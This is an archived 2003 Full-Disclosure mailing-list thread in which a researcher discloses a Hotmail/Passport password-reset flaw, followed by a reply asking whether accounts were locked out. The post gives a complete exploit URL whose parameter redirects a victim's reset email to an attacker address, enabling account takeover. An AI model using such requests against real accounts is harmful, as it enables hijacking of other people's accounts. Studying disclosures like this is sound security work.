full-disclosure - Hotmail & Passport (.NET Accounts) Vulnerability

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Message-ID: <002501c31587$dc6a0610$e04f7780@ttol>
From: WChang at pnwsoft.com (Wayne Chang (Pacific Northwest Software))
Subject: Hotmail & Passport (.NET Accounts) Vulnerability

Has anyone else's account been locked down this morning (password doesn't
work) when you tried it on your own account last night?

Wayne Chang
Pacific Northwest Software
----- Original Message -----
From: "Muhammad Faisal Rauf Danka" <mfrd@...itudex.com>
To: <full-disclosure@...ts.netsys.com>
Sent: Wednesday, May 07, 2003 10:50 PM
Subject: [Full-Disclosure] Hotmail & Passport (.NET Accounts) Vulnerability

Hotmail & Passport (.NET Accounts) Vulnerability

There is a very serious and stupid vulnerability or badcoding in Hotmail /
Passport?s (.NET Accounts)

I tried sending emails several times to Hotmail / Passport contact
addresses, but always met with the NLP bots.

I guess I don?t need to go in details of how cruical and important Hotmail /
Passport?s .NET Account passport is to anyone.

You name it and they have it, E-Commerce, Credit Card processing, Personal
Emails, Privacy Issues, Corporate Espionage, maybe stalkers and what not.

It is so simple that it is funny.

All you got to do is hit the following in your browser:

https://register.passport.net/emailpwdreset.srf?lc=1033&em=victim@hotmail.co
m&id=&cb=&prefem=attacker@...acker.com&rst=1

And you?ll get an email on attacker@...acker.com asking you to click on a
url something like this:

http://register.passport.net/EmailPage.srf?EmailID=CD4DC30B34D9ABC6&URLNum=0
&lc=1033

>From that url, you can reset the password and I don?t think I need to say
anything more about it.

Vulnerability / Flaw discovered : 12th April 2003
Vendor / Owner notified : Yes (as far as emailing them more than 10 times is
concerned)

Regards
--------
Muhammad Faisal Rauf Danka

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